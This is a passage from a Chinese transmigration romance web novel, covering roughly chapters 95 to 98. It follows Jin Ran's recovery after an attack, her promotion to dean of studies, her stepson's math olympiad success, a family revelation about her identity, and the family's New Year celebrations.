他的动作比金苒要熟练多了,基本感觉不到重量,金苒没什么疼痛就已经结束。 竖起大拇指:“很厉害。” 江明羧仔细看她,确认不是假话。 金苒的身体一向很好,脸色红润、气血充足,连王厨都夸她精气神足。可此刻,她的脸颊却苍白如纸,唇色也淡得近乎透明,整个人虚弱得让人心疼。 “有什么需要我做的?” “啊?”金苒被问的有些茫然,认真想了一番,“没有了吧,你去忙自己的事情好。” “真的?” 金苒抬眼看过去:“你想说什么吗?” 江明羧迟疑了下,终还是选择开口:“我看文学作品中,鬼需要吸阳气来维持存在或增强法力,比如聊斋中的聂小倩,子不语中的画皮女鬼,如果你需要的话,我可以帮助……” 他话还没说完,金苒突然“噗嗤”一声笑了出来。 “哈哈哈哈……”她笑得前仰后合,眼角都泛出了泪花,险些从床上栽下去,被江明羧黑着脸一把捞回来,四目相对,金苒胸膛起起伏伏:“鬼吸阳气,哈哈哈哈,江明羧谁告诉你我是鬼的。” 江明羧一顿,似乎意识到什么,脸上露出尴尬的神色:“抱歉,是我猜错了。” 金苒望着他窘迫的样子,又忍不住想笑。谁能想到这个一本正经的男人,内里竟是个相信鬼神的老学究?反差萌有没有?然而转念一想,他错以为她是鬼,却没有做伤害她的事情,甚至愿意让她吸阳气,其中心意,令人动容。 “谁说我是鬼的,”她抿了抿唇,过于白皙的脸颊逐渐变得红润,“我是人,正儿八经的人!” “那上次跟踪你的人。” “哦,我吓唬他的。” 江明羧:“……” 自此之后,江总多了一个黑历史。 每当两人闹矛盾的时候,金苒总要提及,然后趁某人沉默的功夫,把处于逆风的“吵架”反败为胜。 / 门口的窸窣声越来越大声。 江明羧无奈起身开门。 江许黎的脑袋从外面探进来,一下一下,像蘑菇似的。金苒出事,除了江明羧,最担心的莫过于江许黎,听说金苒在校门口被简二袭击时,少年课都没上,直接百米冲刺般冲出教室。 要不是简二因为故意伤人被警察抓走,江许黎绝对会再套一次麻袋。 “谁也不知道简二会发疯,”金苒揉揉他炸毛的脑袋,安慰道,“而且我这不是躲开了嘛,别担心啦。” 江许黎皱着眉头,有些认死理:“以后放学,我和你一起走。” 再一再二不再三。 他绝对不会再让她受伤了。 不过江许黎有自知之明,想要让简二付出代价,还是需要他爸出手,他看向江明羧,后者点头,眸色沉沉:“他不会再出来了。” 警察要证据,他会把所有证据都拿出来。 文承高中作为A市最负盛名的重点中学,里面培养的都是未来的社会精英,简二偏偏选择在这么重要的地方行凶,周边街店的摄像头将其行为拍得清清楚楚,不仅如此,还被许多人目击,当天就上了新闻。 消息传开,平日里或许会忍气吞声的家长们,为了孩子的安全爆发出惊人的力量,明技的法律团队趁机联合所有家长,组建了维权联盟。 警方不得不加快调查速度。 好在简二并没有多聪明,很快,他的作案计划书被从其电脑中恢复,铁证如山,情节恶劣,没有容情的余地。不仅如此,其父简总明知儿子多次违 法犯纪,却多次利用人脉为其脱罪。 法院最终认定简二存在严重预谋情节,结合其之前的犯罪行为,判处有期徒刑五十年。而简总因包庇犯罪、妨碍司法公正,其公司被税.务被工.商彻查,偷.税.漏.税、商业贿.赂等违法行为相继曝光。 短短半个月时间,曾经风光无限的简氏集团股价暴跌,合作伙伴纷纷解约,公司最终没有撑住,宣布破产。 简家彻底落败,从此成为过去式。 对此,金苒听过几耳朵。 只有几耳朵,不是她不想多听,而是全家人严防死守,生怕她养病期间耗费半点心神。 其实金苒觉得这次受伤挺好的。 首先是学校那边,允许她带薪休假,并嘱咐让她不用着急,先养好身体再回到岗位。 其次是别墅里每一个人都把她当瓷瓶似的伺候,王厨变着花样给她做好吃的食补,佣人怕她无聊给她讲有趣的八卦,而全能的程管家则默默做好各种后勤。 每天放学后,江许黎会给她打包一份甜点。 哪怕金苒提出一些过分的要求,比如喝十公里外的某家奶茶,比如让其帮忙监督学生们的数学学习,少年都一声不吭,任劳任怨地完成。 期间,同事、学生、林太太等人陆续过来看望她,连跻身三线小演员,整日忙到脚不沾地的魏雅也抽空来了一趟。 金苒过了几天这样的好日子,好消息,真的很爽,额头的伤口肉眼可见的逐渐好转,不再有头晕的感觉。 坏消息,她快被养成废人啦。 于是在某个夜晚,江明羧再一次给她换药的时候,她提出回学校的打算。 理由是再待下去都要长毛了。 江明羧却没有立刻答应,皱眉盯着她额角:“好像还有点红。” “那是伤口愈合发痒,我刚挠的。” “头呢,还晕吗?” “哎呀,早就不晕了。” 但江明羧仍不松口,似乎还要再找点儿其他问题,金苒干脆凑近了些:“真的好了,不信你检查。” 江明羧毫无防备,当真俯身查看,修长的手指刚拨开她额前的刘海,正要细看,突然被亲了一口。 “吧唧!” 一触即离。 偷袭成功的金苒笑得像只偷了腥的猫,眼角眉梢都漾着狡黠的笑意:“我觉得检查不能只靠肉眼,还要看精神状态,你看我多精神矍铄啊。” 道理讲不通就开始耍赖,美人计使得明目张胆,江明羧眸色暗了暗:“怎么看出来的?” “我都亲你了,你说呢?” 金苒眨巴着大眼睛,尾音故意拖得又软又长,像裹了蜜糖的小钩子。 那钩子勾得江明羧喉结上下滚动了一圈,气氛凝滞,暧昧蔓延,某个瞬间,他忽然扣住她的手腕往怀里一带,低沉的嗓音里带着危险的意味:“这种证明方式太敷衍了点,是恐怕没办法证明,我还有一种办法。” “是什么?” 回应她的,是江明羧欺身越来越近的距离。 天旋地转,神魂颠倒,整个身体落到了床铺中央,热.吻温柔而急促,封住唇瓣中浅浅的低吟。 “闭眼。” 不知何时,窗外起了风,纱帘被吹拂地轻晃,月光流转,床畔间盛开出一朵睡莲。 忽而一阵疾风骤雨,豆大的雨滴吹打着粉嫩花瓣,摇摇欲坠,又被温柔托起。 后半程,金苒已经累得不想说什么了,眼睛迷迷糊糊闭起来,只依稀记得男人有力的臂膀始终环着她,滚烫的掌心贴在她后腰,将酸痛一点点揉开。 等到晨光初现,新的一天到来,金苒独自一人躺在换过的干净被褥间,回忆昨日场景,简直欲哭无泪。 不是,到底谁说老男人不行的?! 行,他可太行了! / 复工第一天,全国奥数竞赛成绩正好出来。 这次文承中学一共有十三位学生参加竞赛,最后的结果还算不错,六人获得成绩,其中两人二等奖,三人获得三等奖,而江许黎则以高分的成绩拿下CMO一等奖。 金澄澄的奖牌送来时,在文承中学掀起了轩然大波。 得益于江许黎的身份和脸蛋,他在学校一直属于低调名人,大家关注他的日常、喜好和行为,自然知道他那中游的成绩。 可谁能想到,总体成绩平平的江明羧,在数学方面居然天赋卓越,一下子压过其他种子学生,成了奥赛最大的黑马。 连带着指导老师金苒再次出现在大众的眼中。 “她才入职一年吧,提高成绩,拉生源投资,现在又带出来一个数学奥数第一名。” “运气可真好啊。” “哈哈哈,可别酸了,运气再好换你也做不到,人家是真有实力!” 办公室里的氛围悄然转变,同事们不管之前是什么想法,现在纷纷主动示好,虚心请教教学方法。 金苒并不藏私,谁来请教教学心得她都倾囊相授。这份真诚赢得了其他老师的真心敬重,后面想到什么,她抬头看向某个位置,发现阴阳怪气的女老师早已悄无声息离开了办公室。 而她只看了一眼,便平静地地收回视线。 实力才是女人最好的勋章,那些虚浮的炫耀在她扎实的成果面前,全部显得如此苍白无力。 …… 金苒的优秀有目共睹。 这下,便是校长也无法再用年龄和资历为由推诿,毕竟在实打实的金牌面前,其他候选教师的光环都显得黯然失色。 周一升旗,校长在全体师生会议上,宣布了教导主任名单的最终人选。 毫无意外的,金苒以五十票比十票的绝对优势,被推举为文承中学新一任的教导主任。 那天风很大,太阳很温暖,融化的雪水在路面上积成一个个小水洼,折射着细碎的光芒。 金苒站在礼堂的高台上,目光扫过台下数百张或熟悉或陌生的面孔,学生、同事,以及站在三班队伍最后面的江许黎,正拼命朝她挥手,那张酷酷的脸上此刻写满了骄傲与激动,让金苒忍不住翘起嘴角。 她说:“我会用行动证明,你们的选择值得信任。” 话音未落,三班的学生们已经按捺不住地欢呼起来,掌声如雷般在礼堂内回荡,在经久不息的热闹与淡淡梅香中,金苒的时代,正式拉开了帷幕。 第96章 第96章二人空间 “哪个餐厅?我吃过没有?” “游轮就算了,太远了,我还要准备明天的教案。” “哎呀,第一次见江总这么积极,到底给儿子庆祝还是给我庆祝啊?” 昨日下了一场雪,学校的硬化地面积攒了些许,踩在上面发出咯吱咯吱的声响。 江许黎斜眼看向走在前面的金苒,听到她的话忍不住撇撇嘴。 真作! 再看路过的其他学生,一个个恭敬地打招呼,有些人甚至害怕打扰金苒的工作,提前躲得远远的,江许黎更想撇嘴了。 他们绝对想不到,让学生们畏惧的新任教导主任,正因为一点儿小事对着丈夫胡搅蛮缠,争风吃醋。 两人坐上车。 金苒负责开车,江许黎理所当然地占据了副驾驶——就像他的电动车永远给她留位置一样,这辆车的副驾也被他单方面划为自己的专属座位。 如果他爸在,副驾驶自然是他爸的,但今天江明羧不在,这个位置就必须是他的。 江许黎的逻辑很简单,副驾驶是留给最亲近的人的,他得防着那些不长眼的年轻男人。金苒知道他的想法后,直接翻了个白眼,觉得他纯属瞎操心。可江许黎不这么认为,自从金苒升任教导主任,他可是没少见年轻男老师有事没事就往她办公室跑。 对此,江许黎愤愤不平,“他们难道不知道你是已婚人士?!” 金苒无语又好笑:“……邱老师只是问一下调课的事情,我总不能见人便说自己是已婚吧。” 她又不是傻子,更不想被人当成傻子。 两人一路吵吵闹闹,等到达餐厅后还没有分出胜负,一看到江明羧,金苒便跑过去揽住他的胳膊,大声告状:“你儿子真的好烦!而且总是污蔑我!” 江许黎气到跳脚:“我什么时候污蔑你了,我那是未雨绸缪!” “不管,反正你得替我做主,等会儿饭上来,把素菜都摆在他面前!” 闻言,江明羧没有提醒她餐厅的桌子是旋转桌,只顺着意思温声道:“挑食不长个子,正好多吃点素菜。” 江许黎:“……” 好狠毒的一条计谋! 长个子难道不更应该多吃肉蛋白吗?憋了又憋,没憋住,对着江明羧小声吐槽:“昏君!” 他以为自己压得很小声,实际在场所有人都听到了,金苒顿 时笑弯了腰,江明羧则一脸无奈地摇头。等父子俩视线对上时,江许黎早已一个箭步窜到餐桌最远端,位置离两人隔开十万八千里。 临近年关,每个人都陷入了忙碌之中。 江明羧再次出差,明技集团的海外业务扩张正如火如荼,作为公司总裁,他必须亲临现场坐镇指挥。 如此,家里只剩下金苒和江许黎,但两人也都各自忙得脚不沾地。金苒新晋教导主任一职,这可不只是个虚名,而是实打实的责任重担,除了日常的教课,她还要统筹全校的教学安排、管理教师团队、处理各种行政事务。 每天回到家,常常累得连饭都顾不上吃,倒头就能睡着。 然后再被江许黎强行叫醒。 也是因为他的监督,金苒才不至于身体垮掉。 与之相比,江许黎的忙碌倒显得轻松许多。 拿到奥数竞赛的奖牌后,少年心中隐隐有一条想要走的路。 放在之前,不用太早,哪怕半年前,他都没有思考过自己的未来。江家背景复杂,从小父母的缺席,让他比其他同龄人要早熟许多,像个石缝中的小草,跌跌撞撞成长起来。 所以叛逆,孤傲,处处和父亲作对,但现在想想,何尝不是一种另类寻求关注的表现? 后来他爸娶了新老婆,江许黎至今还记得第一次见面,他被她的年龄震惊得久久不能回神——当时的金苒看起来完全和大学生似的。 但很快,他就不再关注细枝末节,因为这位新来的后妈开始全方位干涉他的生活,他觉得烦,便开始躲着。 情况是从什么时候开始改变的呢? 也许是因为金苒成为他数学老师,也许是在朝夕相处中,他渐渐感受到了那份真诚的关怀。 看着周围的同学都在为高考而努力学习,哪怕是成绩中下游的学生,金苒也绝不放弃,抽空便给他们补课,只为了让学生们考上一个好大学。 在这样的环境中,饶是懒怠如江许黎,也忍不住思考自己的未来。 他未来要做什么?或者说,能做什么? 这样一想,江许黎居然茫然了。 虽然经过上学期的补习,他的成绩确实有所提升,但越往高处攀登,阻力就越大,最近他明显感觉到自己卡在了一个难以突破的瓶颈期。 反倒是数理化,学得很轻松。 在某次早餐的“家庭会议”中,江许黎做好心理建设,把自己的想法说了出来。 “接下来的时间,我想专注学习数学。” 说这话的他已经做好了应对各种可能性,比如反对,比如质疑,也准备好了长篇大论说服家里人的理由,唯一没有想到的是,金苒根本不会反对。 甚至猜出了他的想法:“你想冲击国家集训队,走保送路线吧?” 不等回答她已经赞许地点头:“这个规划很明智,以你现在的全科成绩,高考冲击211院校问题不大,但如果能进国家集训队,清北就是囊中之物了。” 高考难吗,很难,尤其江许黎偏科严重。 加上他暂时不想出国,所以竞赛路线是眼下的最优解。 获得支持后,江许黎的学习状态明显改变,金苒也针对他的情况重新制定了学习计划。 人的精力是有限的,当专注于一件事情的时候,其他事情势必会忽略。 年前的第一次模拟考,江许黎的文化课成绩出现了明显下滑,班主任特意找金苒谈话,语文老师也表达了不满。 金苒硬是顶住了压力,坚持让江许黎继续学习高等数学。 好在功夫不负有心人,一周后,官网公布集训名单后,江许黎的名字俨然在其中。 一月中旬,气温更冷了,大雪覆盖了这座北方城市,仿佛被裹进了一层柔软的棉絮中。 金苒和出差回来的江明羧一起送江许黎去机场。 集训基地在北京,为期三周封闭式训练,因为非假期缘故,这次只能他自己一个人去。 金苒免不得细细叮嘱:“记得穿秋裤。” “冬天喝热水,不能喝凉水。” “别给家里省钱,该吃吃该花花,反正你爸有的是钱!” 被提及的后者表情无奈,道:“你金老师说得对。” 江许黎脸上一副不耐烦的样子,嘴角却是高高翘起:“知道了,我又不是小孩子。” 金苒并不认同:“无论你多大,我们都比你年长,所以在我们面前,你永远是小孩子。” 小孩子永远有小孩子的特权。 江许黎没想到她会这样说,差点感动哭了,连忙眨眨眼睛,把眼眶的泪水给憋回去:“知道了,大不了听你的。” “那我们可说定了,做不到是小狗。” 任谁看了,都是一副温馨的画面。 然而等人一登机,方才还“儿行千里母担忧”的金苒立刻收起不舍的表情,激动地转身挽住江明羧的胳膊:“快快快,林太太给了两张温泉票,再晚该预约不上了。” 平日江许黎在家,热恋中的夫妻俩不得不注意分寸,如今难得有独处的机会,怎么也得好好享受二人空间。 林太太推荐的是日式私汤。 竹帘半卷,氤氲的热气在自然光下缭绕,整个空间笼罩在一片朦胧之中,室外木质屋檐积雪低落,凝结几串冰凌,倒真有几分富士山下的意境。 夫妻二人换好衣服,金苒怕冷,从室内出来便急忙下了水,她坐在边缘的石阶座位上,鼻尖是淡淡的硫磺味,温热泉水慢慢上升,没过脚踝,然后是膝盖,最后停在胸口位置。 被冷风吹得发僵的身体逐渐恢复热量,金苒长舒一口气。 这才是人生啊。 天知道这段时间她忙成了什么,白天处理学校事务,放学后给学生补习,还要提前安排即将到来的寒假考试,用同事的话说,牛马哪有假,只有驾驾驾驾驾。 这次能抽空出来泡温泉,还是她硬挤出来的周末时间。 身后传来衣料摩擦的声响,金苒漫不经心地抬起头,恰好看见江明羧脱下上衣。 蒸腾的雾气中,男人的手臂线条流畅有力,水珠顺着腹肌的沟壑缓缓下滑,最后滑入浴巾的缝隙。 金苒盯着那滴水珠,眼睛一眨不眨。 或许是那抹视线太过强烈,想忽视都忽视不了,江明羧无奈回过头,两人目光在空中交汇,金苒非但没有被抓包的窘迫,反而勾起唇角,目光自上而下将他打量个遍,故意拖长声调:“最近练得不错啊。” 江明羧不说话。 见状,金苒玩心大起,拍了拍自己身边的水,摆出贵妇姿态:“我预约了你们店的金牌按摩师,怎么来得这么晚啊,还不快过来给我按按?” 第97章 第97章你不是我女儿,她也不是…… 江明羧深深地看了她一眼,在接二连三的催促下,终于踏入温泉,走到金苒背后。 他的手掌宽大温热,轻轻覆上骨感圆润的肩头,指尖不经意蹭过肌肤,激起一阵细微的颤栗,金苒舒服闭上眼睛,女王似的继续指挥:“往左边一点。” “再往右边点。” “力气有点儿小,没有吃饱饭吗……” “哎对,就是这个地……啊!”突然,她惊叫一声,原来江明羧的手不知何时滑到她腰间,指尖轻轻挠了几下。 “抱歉。” 话虽如此,手却 没有挪开。 “江明羧!” 金苒一下子就破功了,一边躲一边痒得哈哈大笑,可不管她怎么扭身闪避,那只手总能精准找到她最怕痒的地方,结果就是乐极生悲,不小心脚下一滑,整个人向后仰去。 温热的水花溅起时,一双有力的手臂稳稳接住了她。 金苒顺势环过江明羧的脖颈,很奇怪,失重的那一瞬间她竟没有丝毫慌乱,仿佛早已知道,有他在自己绝不会受伤。 温热的泉水往四周荡漾,她坐在他腿上,近得能数清睫毛上挂着的水珠。呼吸交缠,亲昵分不清彼此。 不过也就止于如此了。 到底记得这里是什么地方,金苒没有在室外亲近的癖好,手掌扶住胸膛微微一推,江明羧便顺势松开手,两人默契地拉开距离,重新坐回泉水中。 也是这个时候,金苒听到了叮叮叮的手机。 拿起来是一看,消息全部来自同一个人。 江许黎:【到了】 江许黎:【住宿条件还可以[图片][图片],不过食堂有点一般】 江许黎:【?人呢?】 江许黎:【真担心啊?好吧,其实食堂算可以,还能点外卖】 金苒:“……” 内心升起一点点小小的心虚。 她能说自己还没来得及担心吗? 默默把手机放下,假装没有看到。 对于这一鸵鸟行为,江明羧毫不客气嘲笑出声。金苒却觉得他也有责任,现在正是高二关键时期,她得保证自己学生身心健康发展,于是回到家后,勤劳的她主动加班,给某位家长上了一趟思想教育课。 不能反驳,不能走神,听不懂打手心。 后面闹腾着闹腾着就拉了灯,等第二日上班时,江明羧的大拇指腹上凭空多出半圈牙印。 不谈王特助不小心瞥见过大变的脸色,后面,金苒用从江明羧那儿“赚”来的新卡,从网上给江许黎买了好多吃的用的。 国家集训队的学生来自全国各地,在此之前大家素不相识,江许黎性子孤僻,但并不是一个小气的,收到零食后没有独占,何况金苒特意发消息嘱咐让他分给同学,几次零食分下来,他竟成了队里人缘最好的一个。 而懂事的高中生吃到好吃的,不吝啬给予热情反馈:“这是你家人给你买的吗?” 江许黎微微抬起下巴:“我妈买的。” 闻言,同学们纷纷露出羡慕的表情:“哇,你妈对你可真好。” “我妈只会让我少吃东西多做题。” “哈哈哈,看看你的体型,你妈说得没错啊!” 在众人的欢声笑语中,江许黎勾勾嘴角。 她对他的确很好。 所以他也要努力,争取为她的“教学成绩”添砖加瓦。 / 世界上最好的感情,不是随时随地的想办,而是即便不在一起,也能够让你成为更好的自己。 迷惘时,互相指引,失败时,互相加油,成功时,互相庆祝。 你可以随意做自己想做的事情,而他也深耕自己的事业,距离并不是阻碍,闲时想起彼此,只会让内心更加踏实温暖,每一天都充满干劲。 高二第一学期的期末考试,金苒尽职尽责站完最后一班岗,然后转变身份,开始尽情享受假期。 之前的假期她考了驾照,这次假期也没有闲着,报名了成年美术班。 这也算是金苒童年梦想,她的家庭算小有资产,但父母认为业余爱好会影响学习,所以在那个讲究给孩子报艺术班的年代,金苒什么也兴趣班也没有上。 她并不一定喜欢画画,但那种落后别人的感觉并不好,如今成为了可以为自己做主的成年人,她决定好好重新养一次自己。 江明羧对她做的决定都很支持,甚至在金苒给他发“小学生画”时,非常认真地回复。 比如,一两百字的鉴赏感言。 金苒觉得,自己后来能从美术班顺利毕业,很大程度上都要归功于江明羧的花式表扬。 有一个总是夸夸夸的另一半,她想放弃都不好意思。 小年这一天,江许黎终于从训练营回来了。 国家集训有三周时间,上午理论考,下午阅卷讲解,时间安排满满当当。 因为江许黎今年高二,不符合保送条件,只在最后一天与清北签订一个非正式协议,用来索性保送资格,专业等高三再确认。 北大的数学学科的权威性毋庸置疑,但因为保送专业有所限制,江许黎考虑是再三,还是选择了清华,他对未来的人工智能充满兴趣。 之前金苒对酒店里的送餐机器人表露出震惊和惊喜,笨拙的矮家伙转着圈,差点把果汁洒出来,她却笑得眼睛弯弯,追着机器人拍了十几张照片。 那时江许黎便觉得,或许还能做到更好。 三周的集训让人精神疲惫,但也意味着一次努力的结束。 这一次,是他主动选择了自己的未来。 北饺子南年糕,小年夜,家里佣人休假,金苒拉着江明羧做了一顿手工饺子为江许黎接风洗尘。 多年后,江许黎早记不清那饺子的咸淡,却总想起饺子端上桌时热腾腾的白雾,那么热,那么暖,驱散了从外面回来的他的满身严寒。 临近年关,家家户户开始准备年货。 往年的江家一般是程管家负责,今年程管家早早放了长假,他们只能自己动手。作为穿书后经历的第一个新年,金苒很是重视,提前列了长长的一条清单。 江明羧和江许黎也陆续在上面添加,尤其江许黎,第一次参与家中大事的决策,非常有责任心,特意在网上查过年需要的东西。 金苒眼睁睁看着清单上对联和饺子皮染色粉,一脸这什么鬼东西但我是个开明的家长和老师,所以选择尊重。 一家三口在年前挑了一天时间,去超市里大肆购物。 和他们同样的家庭有很多,行走其中,人间烟火气扑面而来,他们专注于自己的任务,并没有注意到到自己已经成为人群的焦点。 金苒自不用说,仅凭直播间的一次模糊截图就让陈导看中,那种典型的美女气质,即便穿着最简单的羽绒服也掩不住。 而江明羧江许黎父子俩,同样惹人眼球,清一色的高个子,年长者身形挺拔如松,黑色高领毛衣裹着宽肩窄腰,透着成熟男人的沉稳,小的朝气蓬勃,青春洋溢,和校园剧里的校草似的。 更何况两人一左一右护在女人身旁,主动提重物,推推车,而女人则负责试吃比价,自始至终,父子俩的目光始终追随着她,眼底的温柔藏都藏不住。 …… 货架前,温柔的一家三口,正因为买哪款春联在吵架。 江许黎表示龙年要贴龙,金苒却想要锦鲤款,理由是年年有余。 最后江明羧做主两款都买下来,反正别墅旁的不多,房间真的很多,大不了每个门上都贴一条。 而几秒前还争论的两人,立刻欢欢喜喜凑到一起,商量着哪条贴在哪个房间…… 别墅门口,金德柱正浑身狼狈地守株待兔,见熟悉的车驶来,未等停稳便扑到车前。 这突如其来的拦截让车内三人俱是一惊,江许黎反应最快,看到来的是谁后,立刻推门下车就要赶人。自从简二那件事发生后,少年对任何意外状况都格外敏感。 金苒却不能让江许黎出头。 不管原身的父母再垃圾,外人眼中,都是江许黎的长辈,她跟着下车并将人拉住,目光打量面前明显苍老的金德柱,忍不住皱了下眉头。 江明羧曾告诉过她,金德柱染上了赌博,才会和简二合伙设计她。后来简二入狱,金德柱也被简老爷子断了经济来源,现在对方找过来,直觉告诉她不是什么好事。 金苒有心拒绝,但也知道金德柱绝对不会轻易离开。 这么一会儿功夫,周围已经有不少人看过来,还是江明羧主动开口:“先进去再说吧。” 金苒抿了抿唇,最终微不可察地点了点头。 一行人沉默地穿过小区大门,冬日的北风卷着花坛的枯草在脚边打转,更添几分萧索,刚踏入客厅,江许黎就一个箭步越过众人,径直在金德柱对面坐下,他目光凶狠,眼睛一眨不眨地盯着对方。 甚至体贴地摆了摆手:“不用管我,你们聊。” 金苒:“……” 她有些无奈,不过心里明白少年是为了自己,转头看向江明羧,后者面无表情把人从沙发上揪起来往楼上走:“去贴对联。” 江许黎个子高,但比起他爸还是差了点儿,遑论一身的力气。拖出去十几米才才挣脱,顿时压低声音吼道:“你干什么,放她一个人被欺负了怎么办?!” 江明羧静静看他:“客厅安装着安全系统,不会出事。” “那我也要留下来,给她提参考意见!”他愤愤不平,“他那个爸一看就不是个好玩意,你别信,我在这方面有经验。” 江明羧:“……” “而且你不是他老公吗,她让你走你就走,难道一点儿也不担心?” 儿子戳老子,一戳一个准,江明羧的沉默在走廊里蔓延。 他能猜测出金苒想自己解决,小孩子只能看到表面,不知道这件事情里面牵扯的不止两个人,其中纠葛,稍有不慎就会让事情变得复杂。 但有句话说的对,他选择尊重她,可内心同样免不得担心。 趁着他爸走神的功夫,江许黎一个泥鳅走位跑下楼梯,躲在了客厅古董柜的阴影里偷听。 然后第一句,就听到金德柱说:“你不是我女儿。” / 明眼人都看的出,金德柱的精神状态很不对劲。 赌债压身,金老爷子放话不再管他,如今日日被高利贷追债的人堵门恐吓。 一开始他还试图和简二合作设计金苒,想逼她就范拿钱,可万万没想到,金苒不仅识破他们的计划,还直接让简二进了局子,如果都是金苒的主意便罢了,可金老爷子那番话分明暗示,这件事背后还有江明羧的手笔。 金德柱彻底怕了。 他比谁都清楚江明羧的手段,那三个被抛弃的金家人就是血淋淋的证明。如今自己竟也被对方盯上,想到这里,金德柱整日战战兢兢,每天闭眼都是江明羧的报复。 巨大的精神压力让他变得恍惚,不知不觉中走到了硕果湾。 金苒对上一双布满血丝的眼睛,心里猛地一沉。 狗急跳墙,兔子急了会咬人,虽然这一切都是金德柱咎由自取,但被逼到绝境的人什么都做得出来。 她不动声色朝某个方向看了一眼。 与此同时,金德柱并未注意到她的举动,嗓音嘶哑:“我知道,你不是我的女儿。” 说完之后他眼睛死死盯着面前的女人,似乎要看出什么漏洞,然而金苒表情始终未变,平静反问:“为什么这样说,当初不是你亲自把我推出来联姻的吗?” 金德柱笑了笑,就在金苒以为他又要胡搅蛮缠时,谁知对方竟语出惊人:“因为她也不是我的女儿,我的女儿早就被车给撞死了!”【你现在阅读的是 】 【终章】 第98章 第98章余生未尽,请多指教…… 贴完对联,别墅的风光焕然一新,从西式宫廷爆改乡村二人转。 但住在别墅的三个人都挺满意的。 对于江明羧和江许黎来说,这一个新年从头到尾都是不同寻常,不再是冷清的寂寥,不再是相顾无言的生硬,从大清早开始,电视机里欢快的欢声笑语就充斥着整个客厅,金苒坐在沙发上同人拜年。 她的电话是最多的,比江明羧这个总裁还要多,学校同事、林太太等小姐妹,徐珍和魏雅,还有家长和学生,金苒一边应付着源源不断的电话,一边还能抽空指挥江许黎去厨房看火候。 大部分年夜饭是从餐厅订的,但江明羧也动手做了几道,等她打完电话,父子俩也把做好的饭菜端上来,红烧茄子,麻辣鳕鱼,凉拌海带,简单的家常但味道还算不错,金苒和江许黎非常给面子全部吃光了。 饭后是一年一度的春节联欢晚会。 这个时候,江明羧的拜年短信开始陆续过来,他不得不去书房处理,剩下两人坐了一会儿就待不住了,对视一眼:“要不去外面玩?” 金苒心动:“玩什么?” 江许黎咳了咳,耳根有些红:“逛超市的时候,我买了点烟花棒。” 响应国家号召,城市里严禁燃放烟花爆竹,但小小的烟花棒并不在禁令之列,金苒闻言挑了挑眉,没有好奇江许黎为什么会买这样的少女心玩具,只是眉眼一弯,站起来朝庭院走去。 今晚的月亮有些明,天空湛蓝清透。 江许黎分给金苒一根烟花棒,然后拿出从他爸书桌上顺来的打火机,细长的棒尖儿被点燃的瞬间,迸发出流星般璀璨的光芒,金色火花如萤火般飞舞,细看,又似乎是彩虹的七彩。 “快,要灭了,再接上!” 两人点了一根又一根,眼睛里,微弱的火光在黑暗中明明灭灭,映照眼底闪烁的光芒。 后面蹲得有点儿久,金苒起身的眼前一阵发黑,下意识抓住身旁人的手腕。 江许黎却吓到了:“你没事吧?” “没事,只是起猛了有点晕。” 话虽如此,但江许黎有些不太相信,不知想到什么,表情逐渐变得愁眉苦脸。 直到返回房间,踏上台阶的那一刻,他突然拉住金苒,小声建议:“其实,你可以多吸一点我爸的阳气。” 金苒:“?” “真的,他那么壮,阳气肯定也多!” 实际那一日,他偷听到了她和金德柱的谈话,知道她并非真的“金苒”,而是附身于“金苒”的孤魂野鬼。 江许黎也有短暂的迷惘,但很快他就调理好心情。 孤魂也好,野鬼也罢,反正他只认她一个人。 金苒:“……” 简直气笑了,怪不得是亲生父子俩呢,脑洞都是一模一样的,她盯着少年的眼睛,直把对方盯的头皮发麻,才意味深长道:“我是鬼不是狐狸精。” 亲口听到她承认,江许黎心里有些憷憷的,还要说什么,打完电话的江明羧从家中出来。 “站在这里做什么?” 两人闭了嘴,金苒拍拍手上的灰:“我们在等你出来,还有最后两跟烟花棒,要不要玩?” 江明羧垂眸看向金苒,眼底含笑:“好。” 年三十熬夜守岁,好在年后江家没有亲戚可走,第二天可以睡到自然醒。 醒来后,金苒兴致勃勃地准备了一个大红包,第一次以长辈身份发压岁钱,心里还有些新奇感慨,谁知刚回卧室,就被江明羧往手心里塞了一个更厚实的。 “新年快乐。” 她怔了怔。 江明羧没忍住,伸手摸了摸她的头,回过神的金苒高兴地扑到男人怀里:“我都没有给你准备。” “没事,我比你大十岁,按照年龄应该是我给你。” 是了,十岁的年龄差,如果不是两人结婚,走在路上她都要叫他叔叔,金苒被自己的想法逗笑,抬起头眼波连绕:“可是,我也要感谢你。” 没等江明羧回答,金苒已经垫起脚亲了一口,本来是打算亲嘴的,临到头故意偏了点,落到了唇边。 丝丝的痒意,比不上女人灿烂的笑容:“谢谢江叔叔的红包。” 闻言,江明羧呼吸一窒。 金苒虎口拔毛,胆子却是个怂的,察觉到气氛改变,迅速丢下一句我去洗水果就要跑,然而在门口就被江明羧抓住。 后面,男人低哑的嗓音在耳边起起伏伏,并在某个时间停下来,非常心机地表示:“老了,比不上你们年轻人。” 金苒不上不下,欲哭无泪。 只好牢牢攀附住男人的腰腹,身体晃悠间,断断续续道歉:不…你一点也不老…… 当天,江许黎自己一个人坐在餐桌前,吐槽现在的大人真是太懒了,独自吃完了自己的那份外卖。 这大概是一家三口相处最久的一个假期。 大年初三,金苒备了三礼给金家送过去,那边收下后又回了一份同等价位的礼。 原身的父母没有再出现,后来听说,金德柱为了躲高利贷,带着金母出了国。 金苒只是听了一耳朵,很快就抛到了脑后。 按照金德柱说的,事情几乎已经明了。 金苒穿书前,已经有一个“金苒”穿到了原身身上,彼时金家父母并没有伤心,反而因为对方能够预测未来,而对“新女儿”百般讨好。 如果原身还在,看到这副画面,大概也会死心吧。 当然,顺畅的日子偶尔还是有一些小插曲的。 “如果不是我问你,你是不是想一直瞒着我啊?” 寒假结束后的某日,金苒再次听同事提及企业选修课疑似明技的总裁亲自授课时,猛地回忆起被自己忘记的事情,当天晚上回到家便开始兴师问罪。 江明羧颇不自在地摸了摸鼻头:“本来想给你个惊喜。” 金苒很是无语:“你都不知道你的选修课有多叫座,学校礼堂座位有限,现在座位都满了!” 沙发上偷听了一耳朵的江许黎立刻声援:“我们班同学没有抢到,打算到时候坐在走道里。” 这的确是江许黎没有考虑到的。 “要不我和校长说一声?” “算了,还是不要了。”虽然金苒从入职便拉着豪门大旗 ,但平日里她最忌讳滥用特权。如今身为教导主任,更要以身作则做好表率。 “其实教导主任有专门的位置,我只是替小黎问问,既然如此,他还是待在教室刷题吧。” 江许黎:“???” 虽然他对看他爸没有兴趣,但他也不想刷题啊! 江明羧第二次来到文承中学。 依旧得到了校方领导的热烈欢迎,只不过这次,除了校长,还有新上任的教导主任一起来迎接他。 